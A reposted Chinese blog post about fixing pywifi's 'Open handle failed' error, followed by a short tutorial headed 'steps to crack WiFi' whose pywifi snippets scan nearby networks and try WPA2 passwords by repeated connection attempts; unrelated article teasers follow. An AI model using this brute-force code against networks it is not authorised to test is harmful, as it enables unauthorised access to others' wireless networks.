Python pywifi ERROR Open handle failed问题及解决
作者:_hello_cc 发布时间:2021-01-16 03:54:28
标签:Python,pywifi,ERROR,handle,failed
Python pywifi ERROR Open handle failed
这个问题的网上的资料很少,可能是因为简单吧。这里记录下解决办法。
直接上引发问题的代码:
wifi = pywifi.PyWiFi() #定义接口操作
iface = wifi.interfaces()[0] #获取无线网卡句柄
这两行代码实现了获取系统的无线网卡句柄的功能。可以看到后续的所有WIFI操作不管是连接还是端开都是在通过操作 iface 这个句柄整个句柄来完成的
但是切记,不管你是想去做暴力破解某个WIFI,还是想做什么WIFI连接测试,不要把这两行放在循环体里。
在整个的循环过程中,保证这两行代码只会被执行到一次。后续的动作都只基于这一次获取到的iface来执行
如果要是多次执行了这两行代码(尤其是放在了循环体里),在一定次数后,就会报ERROR Open handle failed的错误。
Python语法之pywifi
pywifi安装
拿到pywifi文件夹
如果有pip环境变量就直接cd进入pywifi目录
输入pip install .
如果没有环境变量就cd进pip的目录
然后pip install pywifi目录
破解WiFi的步骤
1. 抓取无线网卡
pywifi.set_loglevel(logging.INFO) # 输出日志
wifi = pywifi.PyWiFi() # 抓取WiFi接口
ifaceList = wifi.interfaces() # 抓取无线网卡列表
iface = ifaceList[0] # 如果有无线网卡第一个一般就是你要的
2. 找到WiFi列表
wifi = pywifi.PyWiFi() # 抓取WiFi接口
iface = wifi.interfaces()[0] # 抓取无线网卡列表
iface.scan() # 扫描
time.sleep(5)
bsses = iface.scan_results() # 扫描到的结果
for pjwifi in bsses:
print(pjwifi.ssid) # 所有WiFi名
print(pjwifi.bssid) # mac地址
print(pjwifi.signal) # 信号强度(值越大信号越强)
3. 测试网卡状态
iface = wifi.interfaces()[0]
iface.status()-->
const.IFACE_DISCONNECTED:0没有连接
const.IFACE_INACTIVE:2没有激活
const.IFACE_CONNECTED:1连接好了
4. 针对某一WiFi进行密码爆破
'''爆破密码'''
profile = pywifi.Profile() # 创建wifi链接文件
profile.ssid = wifiName # wifi名称,不加会报错
profile.auth = const.AUTH_ALG_OPEN # 网卡的开放
profile.akm.append(const.AKM_TYPE_WPA2PSK) # wifi加密算法
profile.cipher = const.CIPHER_TYPE_CCMP # 加密单元
profile.key = pwd # 密码
self.iface.remove_all_network_profiles() # 删除所有的wifi文件
tmp_profile = self.iface.add_network_profile(profile) # 设定新的链接文件
self.iface.connect(tmp_profile) # 链接
time.sleep(5)
connectStatus = self.iface.status() == const.IFACE_CONNECTED
self.iface.disconnect() # 断开连接
time.sleep(1)
来源:https://blog.csdn.net/Behold1942/article/details/121431667
0
投稿
猜你喜欢
- 在客户端,Get方式在通过URL提交数据,数据在URL中可以看到;POST方式,数据放置在HTML HEADER内提交。GET方式提交的数据
- WordPress 的插件机制实际上只的就是这个 Hook 了,它中文被翻译成钩子,允许你参与 WordPress 核心的运行,是一个非常棒
- 论坛有人问起如何获取读取CSS属性值,就写了下面这段兼容各浏览器的获取HTML元素的css属性值函数:function getSt
- 今天学习php,当然是要先安装好运行环境了,phpstyudy是一个运行php的集成环境, 一键安装对新手很友好,与时作为一个新手,便跟着教
- 三遍记忆,让你记住海量素材的准确位置和用途,提高其可用性.这仅仅是一个示意图.在以往的日子里,我做到了只要脑袋里冒出一个想法,立刻就能知道我
- 1.JOIN和UNION区别 join 是两张表做交连后里面条件相同的部分记录产生一个记录集, union是产生的两个记录集(字段要一样的)
- 今天因为程序里面要把写入数据库的html源代码以html源编码的形式显示在页面里面,而不要被浏览器解释成。。找了N久都不知道怎么做后来看了一
- Python中生成器和迭代器的区别(代码在Python3.5下测试):Num01–>迭代器定义:对于list、string、tuple
- 一、常量常量是一个简单值的标识符(名字)。如同其名称所暗示的,在脚本执行期间该值不能改变(除了所谓的魔术常量,它们其实不是常量)。常量默认为
- 桥接模式Bridge Pattern是什么桥接模式是一种结构型模式,它将抽象部分与实现部分分离开来,使它们可以独立地变化。在桥接模式中,我们
- 前言今天在开发时发现一个奇怪的问题,我手动改完数据库竟然不生效,反复确认环境无误后猜测是缓存的问题,因为是新接手的项目,代码还不熟悉,仔细一
- 在oracle数据库的开发中,常因为时间的问题大费周章,所以特地将ORACLE数据的日期函数收藏致此。乃供他日所查也。 add_months
- 在中文网页中最常见的网页编码就是GB2312和UTF-8了,本文介绍了ASP实现GB2312编码转换为UTF-8编码的函数:Function
- SOLyog的下载、安装以及使用很简单。我去了相关网站下载,它只有384K字节大小。它把两个文件(一个可执行文件.exe和一个动态链接库文件
- 要向数据库中添加超级链接,要经过两个步骤,一是在表中定义字段类型为“超级链接”,一是向此字段中添加数据。要在表中定义字段类型为“超级链接”,
- PRD的作用之一在于,保留产品设计初衷,期望达到什么样的目的,起到事后验证的效果。产品初衷需要做到利益最大化,找最大的蛋糕,为最大目标人群服
- 本文实例讲述了PHP单例模式用法。分享给大家供大家参考,具体如下:<?phpclass db { public $conn
- 如何限制重复订阅邮件或投票?一、准备子程序和函数。1、初始化数据,在Session对象中保存两个变量:Sub InitializeFID()
- 我就废话不多说了,大家还是直接看代码吧~import kerasimport numpy as npimport matplotlib.py
- 本文实例讲述了Python使用pickle模块储存对象操作。分享给大家供大家参考,具体如下:众所周知,当我们需要储存数据的时候,就需要用到重